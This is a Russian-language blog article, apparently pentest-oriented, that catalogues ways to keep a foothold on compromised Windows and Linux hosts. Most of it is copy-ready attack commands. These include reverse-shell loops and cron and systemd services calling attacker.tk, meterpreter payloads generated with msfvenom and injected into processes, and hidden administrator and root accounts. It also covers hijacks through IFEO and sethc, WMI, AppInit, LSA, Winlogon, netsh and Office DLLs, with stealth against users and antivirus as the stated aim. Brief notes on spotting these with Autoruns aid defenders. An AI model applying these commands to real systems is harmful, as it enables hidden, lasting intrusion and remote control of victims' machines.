Persistence — способы про­писать­ся в сис­теме при пентесте

persistence

Сегодняшнее статья посвящена Persistence. Мы рассмотрим основные и наибо­лее популяр­ные способы, которые поз­воля­ют про­писать­ся в сис­теме после взлома — скрыт­но или не очень. Все рассматриваемые в статье способы по боль­шей час­ти не зависят от вер­сии и кон­фигура­ции ОС и лег­ко реали­зуемы.

Еще по теме: Как пользоваться Metasploit Framework

Итак, начнем. Ког­да хакер получил шелл на хос­те, пер­вое, что нужно сде­лать, — это обес­печить себе «пос­тоянс­тво» (persistence) в сис­теме. Ведь во большинстве слу­чаев на RCE может быть лишь одна попыт­ка, а зна­чит, нельзя потерять дос­туп из‑за каких‑нибудь ошибок.

Есть различные спо­собы орга­низо­вать воз­можность пос­тоян­ного при­сутс­твия Persistence, у каж­дого свои дос­тоинс­тва и недос­татки:

  • за­писать что‑либо на HDD:

    • плюс: пережи­вет перезаг­рузку;
    • ми­нусы: замет­но для челове­ка, замет­но для анти­виру­са;
  • внед­рить код в RAM:

    • плюс: незамет­но для челове­ка;
    • ми­нусы: не пережи­вет перезаг­рузку, может быть замет­но для анти­виру­са;
  • из­менить кон­фигура­цию ОС:

    • плю­сы: незамет­но для анти­виру­са, пережи­вет перезаг­рузку;
    • ми­нус: может быть замет­но для челове­ка.

Ча­ще все­го при зак­репле­нии в сис­теме все же при­ходит­ся обра­щать­ся к дис­ку, пос­коль­ку это единс­твен­ный спо­соб не вылететь из‑за слу­чай­ной перезаг­рузки. В общем слу­чае успешность такой пер­систен­тнос­ти зависит от двух фак­торов:

  • нас­коль­ко скрыт­но от поль­зовате­ля про­писан запуск бэк­дора;
  • нас­коль­ко безобид­но для анти­виру­са тело бэк­дора.

Оче­вид­но, что с точ­ки зре­ния зак­репле­ния Linux — более при­ори­тет­ная сис­тема. Компь­юте­ры с ним, как пра­вило, ред­ко обслу­жива­ются поль­зовате­лями и не перезаг­ружа­ются месяца­ми. Да и как точ­ка опо­ры они под­ходят боль­ше. Хос­ты под управле­нием Linux удоб­ны еще и потому, что они ред­ко защище­ны анти­виру­сом, а анти­вирус для пер­систен­тнос­ти — это ощу­тимая проб­лема.

В свою оче­редь, в Windows боль­ше вари­антов авто­заг­рузки, что может помочь луч­ше замас­кировать­ся в ее нед­рах. Ведь, в отли­чие от про­ник­новения в Linux, нам поч­ти всег­да при­дет­ся работать рядом с поль­зовате­лем, опыт­ным или не очень.

Если име­ете дело не с одной целью, а с целой груп­пой, весь­ма удоб­но исполь­зовать для машины ата­кующе­го домен­ное имя, а не IP. Тог­да для каж­дой жер­твы или груп­пы жертв мож­но будет задать свое уни­каль­ное имя в DNS-зоне ата­кующе­го (далее в при­мерах — attacker.tk). Это поз­воля­ет эффектив­нее управлять жер­тва­ми. Выг­лядит это при­мер­но так.

Persistence dns

Ес­ли анти­виру­сы не глав­ная проб­лема, то в качес­тве reverse shell час­то мож­но исполь­зовать прос­тые nc.exe, ncat.exe и socat.exe. Все они обла­дают воз­можнос­тями RAT и зачас­тую нор­маль­но про­ходят анти­вирус. Пос­коль­ку это прог­раммы, работа­ющие из коман­дной стро­ки, мож­но сде­лать их запуск на машине жер­твы незамет­ным. В Windows для это­го дос­таточ­но поменять subsystem у исполня­емо­го фай­ла:

pe header → optional header nt fields → subsystem → GUI (0x0002)

Опи­сан­ные далее при­меры помогут не толь­ко при зак­репле­нии на машине жер­твы, но и для выяв­ления фак­тов ком­про­мета­ции.

Ана­лиз эле­мен­тов авто­заг­рузки — это час­то поиск игол­ки в сто­ге сена. Обыч­но при­ходит­ся судить по наз­ванию исполня­емо­го фай­ла, тому, где он находит­ся (в пра­виль­ных мес­тах или где‑то в про­филе поль­зовате­ля), а так­же по наз­ванию и опи­санию ком­пании‑раз­работ­чика, зашитым внут­ри фай­ла. Впро­чем, нич­то не меша­ет ата­кующе­му под­делать эти дан­ные.

Ан­тивиру­сы же, как пра­вило, не уда­ляют записи в спис­ках авто­заг­рузки, а уда­ляют сами исполня­емые фай­лы. Поэто­му битая ссыл­ка в авто­заг­рузке — тре­вож­ный сиг­нал.

Во мно­гих слу­чаях для пер­систен­тнос­ти могут пот­ребовать­ся пра­ва адми­нис­тра­тора. Это тоже может стать проб­лемой, ведь далеко не каж­дый шелл обла­дает нуж­ными при­виле­гиями. Поэто­му в каж­дом при­мере я буду помечать сим­волом $ ввод неп­ривиле­гиро­ван­ного поль­зовате­ля, а # — адми­нис­тра­тора. Для обна­руже­ния будем исполь­зовать ути­литу Autoruns, резуль­таты вы можете наб­людать на скрин­шотах.

Шелл

Ор­ганизо­вать пер­систен­тность мож­но пря­мо из коман­дной стро­ки. Что­бы шелл откры­вал­ся всег­да, исполь­зуем коман­ду с бес­конеч­ным цик­лом, ухо­дящую в фон.

Windows

Вот как это работа­ет в Windows:

cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe attacker.tk 8888 -e cmd.exe & ping -n 60 127.0.0.1 )"

Linux

bash$> ( bash -c "while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done"; )&
bash$> nohup bash -c "while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done" &
  • Плю­сы: управля­емый интервал запус­ка, подой­дет любой поль­зователь.
  • Ми­нус: не пережи­вет перезаг­рузку.

Persistence Шелл

Автозагрузка

Го­воря о пер­систен­тнос­ти, нель­зя прой­ти мимо клас­сичес­кой и всем извес­тной авто­заг­рузки. Ее пре­иму­щес­тво в том, что она будет работать с пра­вами любого, даже неад­минис­тра­тив­ного поль­зовате­ля.

Windows

cmd$> copy meter.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
cmd$> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\meter.exe"
cmd#> copy meter.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\meter.exe"

Linux

bash$> echo "nc attacker.tk 8888 -e /bin/bash 2>/dev/null &" >> ~/.bashrc
  • Плю­сы: пережи­вает перезаг­рузку, подой­дет любой поль­зователь.
  • Ми­нус: неуп­равля­емый интервал запус­ка.
Persistence Автозагрузка

Сервисы

Ис­поль­зовать служ­бу для зак­репле­ния более выгод­но, чем авто­заг­рузку, так как Service Manager будет сам переза­пус­кать служ­бу, если пот­ребу­ется.

Для Windows соз­дание служ­бы пот­ребу­ет пра­ва адми­нис­тра­тора.

cmd#> sc create persistence binPath= "nc.exe -e \windows\system32\cmd.exe attacker.tk 8888" start= auto
cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000
cmd#> sc start persistence

В Linux соз­дать служ­бу мож­но и с учет­ки прос­того поль­зовате­ля. Вот вари­анты для рута и для прос­того поль­зовате­ля.

bash#> vim /etc/systemd/system/persistence.service
bash$> vim ~/.config/systemd/user/persistence.service

Со­дер­жимое фай­ла:

[Unit]
Description=persistence
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.tk/8888 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=default.target

И запус­каем соз­данную служ­бу:

bash#> systemctl enable persistence.service
bash#> systemctl start persistence.service
bash$> systemctl --user enable persistence.service
bash$> systemctl --user start persistence.service
  • Плю­сы: пережи­вает перезаг­рузку, управля­емый интервал запус­ка, под­ходит любой поль­зователь.
  • Ми­нус: необ­ходимы пра­ва адми­нис­тра­тора.

Persistence Сервисы

Задачи

Соз­дание зап­ланиро­ван­ной задачи — весь­ма удоб­ный спо­соб под­держа­ния дос­тупа. Заод­но мож­но задать вре­мя и интервал запус­ка. Но делать это раз­решено, как пра­вило, толь­ко при­виле­гиро­ван­ным поль­зовате­лям.

Windows

cmd#> at 13:37 \temp\nc.exe -e \windows\system32\cmd.exe attacker.tk 8888
cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr "c:\temp\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888"

Linux

bash#> echo "* * * * * bash -i >& /dev/tcp/attacker.tk/8888 0>&1" >> /var/spool/cron/root
bash#> echo $'SHELL=/bin/bash\n* * * * * root bash -i >& /dev/tcp/attacker.tk/8888 0>&1\n'> /etc/cron.d/pwn
  • Плю­сы: пережи­вает перезаг­рузку, управля­емый интервал запус­ка.
  • Ми­нус: нуж­ны пра­ва адми­нис­тра­тора/root.
Persistence Windows

In-memory

Внед­рение бэк­дора, который будет висеть в опе­ратив­ный памяти, име­ет смысл, если нуж­но зак­репить­ся на целевой машине, не оставляя никаких сле­дов. Анти­виру­сы обыч­но сла­бо кон­тро­лиру­ют деятель­ность в памяти, пос­коль­ку это соп­ряжено с боль­шим допол­нитель­ным рас­ходом ресур­сов. Даже опыт­ный поль­зователь вряд ли заметит что‑то, что скры­то внут­ри легаль­ного про­цес­са.

В качес­тве in-memory-бэк­дора мы будем исполь­зовать meterpreter. Это, пожалуй, самый извес­тный RAT, спо­соб­ный работать исклю­читель­но в памяти, не тро­гая при этом диск.

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 -f raw -o meter32.bin exitfunc=thread StagerRetryCount=999999
cmd$> inject_windows.exe PID meter32.bin

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 -f raw -o meter32.bin exitfunc=thread StagerRetryCount=999999
bash$> inject_linux PID meter32.bin

Внед­рить код мы можем не толь­ко в натив­ные про­цес­сы, но и в интер­пре­тиру­емые, нап­ример интер­пре­тато­ром Python:

msfvenom -p python/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 -o meter.py exitfunc=thread StagerRetryCount=999999
$> pyrasite 12345 meter.py

За мак­сималь­ную скрыт­ность пла­тим потерей пер­систен­тнос­ти пос­ле перезаг­рузки.

  • Плю­сы: подой­дет любой поль­зователь, труд­но обна­ружить челове­ку.
  • Ми­нусы: не пережи­вает перезаг­рузку.

Persistence память

Пос­коль­ку вре­донос­ный поток запус­кает­ся вне какой‑либо биб­лиоте­ки, Procexp час­то показы­вает такой поток как запущен­ный от нулево­го адре­са.

Конфиги

Ор­ганиза­ция пер­систен­тнос­ти через изме­нение кон­фигура­ции ОС — отличный спо­соб спря­тать­ся от анти­виру­са. Это единс­твен­ный слу­чай, ког­да мы не исполь­зуем вооб­ще никакой исполня­емый код. Но при­мени­мо это, толь­ко если у нас есть пря­мой дос­туп к целевой машине.

Соз­дание скры­того поль­зовате­ля, от име­ни которо­го мож­но будет потом получить уда­лен­ный дос­туп, — это, пожалуй, самый извес­тный вари­ант такой ата­ки.

Windows

cmd#> net user attacker p@ssw0rd /add
cmd#> net localgroup administrators /add attacker
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v attacker /t REG_DWORD /d 0 /f

Linux

bash#> openssl passwd -1 -salt test
bash#> echo 'post:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0::/:/bin/bash' >> /etc/passwd

Прос­тое и эффектив­ное внед­рение зак­ладки в Windows через RDP:

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"
cmd#> reg add "HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0x0 /f
  • Плю­сы: труд­но обна­ружить анти­виру­сом, пережи­вает перезаг­рузку.
  • Ми­нусы: тре­бует пра­ва адми­нис­тра­тора/root, не под­ходит, если машина за NAT или фай­рво­лом.
Persistence rdp Windows

Особые приемы в Linux

Вот мы и доб­рались до трю­ков, которые сра­бота­ют толь­ко в опре­делен­ной ОС. Нач­нем с Linux.

LD_PRELOAD

В Linux для того, что­бы в каж­дый запус­каемый про­цесс под­гру­жал­ся нуж­ный нам код, мож­но исполь­зовать перемен­ную LD_PRELOAD:

bash#> echo /path/to/meter.so >> /etc/ld.so.preload
bash#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile
bash$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc
  • Плю­сы: пережи­вает перезаг­рузку, подой­дет любой поль­зователь.
  • Ми­нус: неуп­равля­емый интервал запус­ка.

Под­робнее об этом методе читай в статье «Создание руткита в Linux с помощью LD_PRELOAD».

rc.local

Один раз пос­ле перезаг­рузки мы можем выпол­нить коман­ды в rc.local.

bash#> echo "nc attacker.tk 8888 -e /bin/bash &" >> /etc/rc.local
  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нусы: неуп­равля­емый интервал запус­ка, нуж­ны пра­ва root.

Особые приемы в Windows

Здесь у нас будет боль­ше инте­рес­ных трю­ков!

Дебаггер

Ес­ли ата­кующий зна­ет, что ата­куемый поль­зователь час­то запус­кает какую‑то прог­рамму, ска­жем каль­кулятор, то он может внед­рить свой код в тело этой прог­раммы с помощью джой­нера. Одна­ко вся­кое вме­шатель­ство в исполня­емые фай­лы неумо­лимо повыша­ет уро­вень недове­рия к ним со сто­роны анти­виру­са. Куда более изящ­ным исполне­нием будет перех­ват запус­ка:

cmd#> copy calc.exe _calc.exe
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & c:\windows\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888" /f

Как толь­ко victim запус­тит, а затем зак­роет каль­кулятор, ата­кующий при­мет reverse shell.

  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нус: тре­бует пра­ва адми­нис­тра­тора.

Persistence debug Windows

Gflags

Поч­ти таким же обра­зом мож­но орга­низо­вать запуск сво­его кода, ког­да поль­зователь зак­рыва­ет опре­делен­ную прог­рамму.

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc -e \windows\system32\cmd.exe attacker.tk 8888"
  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нус: тре­бует пра­ва адми­нис­тра­тора.

Autoruns этот спо­соб не обна­ружи­вает, но вы можете про­верить вет­ку реес­тра:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit

WMI

cmd#> wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
cmd#> wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\users\admin\meter.exe",CommandLineTemplate="C:\users\admin\meter.exe"
cmd#> wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""
  • Плю­сы: пережи­вает перезаг­рузку, управля­емый интервал запус­ка.
  • Ми­нус: тре­бует пра­ва адми­нис­тра­тора.
Persistence WMI

AppInit

В Windows есть инте­рес­ный спо­соб внед­рения биб­лиотек в окон­ные при­ложе­ния с помощью AppInit (они дол­жны исполь­зовать user32.dll).

cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f
cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "c:\path\to\meter64.dll" /f
cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f
cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "c:\path\to\meter32.dll" /f
  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нусы: тре­бует пра­ва адми­нис­тра­тора, неуп­равля­емый интервал запус­ка.
Persistence AppInit

Lsass

Еще одна воз­можность — про­писать биб­лиоте­ку в сис­темном про­цес­се lsass. Это дос­таточ­но выгод­ное мес­то, пос­коль­ку в дан­ном про­цес­се хра­нят­ся те самые учет­ные записи, которые мы извле­каем ути­литой mimikatz.

cmd#> reg add "HKLM\system\currentcontrolset\control\lsa" /v "Notification Packages" /t reg_multi_sz /d "rassfm\0scecli\0meter" /f
  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нусы: тре­буют­ся пра­ва адми­нис­тра­тора, неуп­равля­емый интервал запус­ка, мож­но убить сис­тему.
Persistence Lsass

Winlogon

Что­бы каж­дый раз, как кто‑то из поль­зовате­лей вхо­дит в сис­тему, откры­вал­ся шелл, мож­но исполь­зовать механизм Winlogon.

cmd#> reg add "HKLM\software\microsoft\windows nt\currentversion\winlogon" /v UserInit /t reg_sz /d "c:\windows\system32\userinit.exe,c:\windows\meter.exe"
  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нус: неуп­равля­емый интервал запус­ка.
Persistence Winlogon

Netsh

Ути­лита нас­трой­ки сети Netsh тоже поз­воля­ет под­гру­жать про­изволь­ную биб­лиоте­ку. Это откры­вает воз­можность орга­низо­вать через нее импро­визи­рован­ную авто­заг­рузку. Резуль­тат будет выг­лядеть безобид­но, так как пер­воначаль­но вызыва­ется сис­темный ком­понент Windows.

cmd#> c:\windows\syswow64\netsh.exe
netsh> add helper c:\windows\meter32.dll
cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\SysWOW64\netsh.exe"

В ито­ге получа­ем такую цепоч­ку: autorun → netsh.exe → meter.dll.

При этом meter.dll будет скрыт от глаз поль­зовате­ля — он уви­дит лишь запуск легитим­ной Netsh, род­ной ком­понент Windows.

  • Плю­сы: пережи­вает перезаг­рузку, слож­но обна­ружить поль­зовате­лю.
  • Ми­нус: тре­бует пра­ва адми­нис­тра­тора.
Persistence Netsh

Office

Этот спо­соб подой­дет, если ата­куемый поль­зователь час­то работа­ет с офис­ным пакетом. Не такая уж ред­кость!

cmd$> reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d C:\users\username\meter.dll
  • Плю­сы: пережи­вает перезаг­рузку, подой­дет любой поль­зователь.
  • Ми­нус: неуп­равля­емый интервал запус­ка.
Persistence Office

Выводы

Мы рас­смот­рели основные и наибо­лее популяр­ные вари­анты Persistence. Они по боль­шей час­ти не зависят от вер­сии и кон­фигура­ции ОС и лег­ко реали­зуемы. Уни­вер­саль­ного спо­соба нет (ина­че обна­руже­ние было бы слиш­ком прос­тым!), и у каж­дого есть дос­тоинс­тва и недос­татки. При выборе наша цель — сба­лан­сировать надеж­ность и скрыт­ность.

Этим спис­ком выбор, конеч­но же, не огра­ничи­вает­ся, и все в конеч­ном сче­те зависит толь­ко от вашей фан­тазии и изоб­ретатель­нос­ти. В Windows хороший помощ­ник в поис­ке новых воз­можнос­тей для зак­репле­ния — все та же ути­лита Autoruns.

Од­нако выгод­но рас­положен­ная в сис­теме ссыл­ка на бэк­дор — это еще не все. О том, какой исполня­емый файл для это­го исполь­зовать и как при этом эффектив­но обой­ти анти­вирус, я рас­ска­жу в сле­дующей сво­ей статье.

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *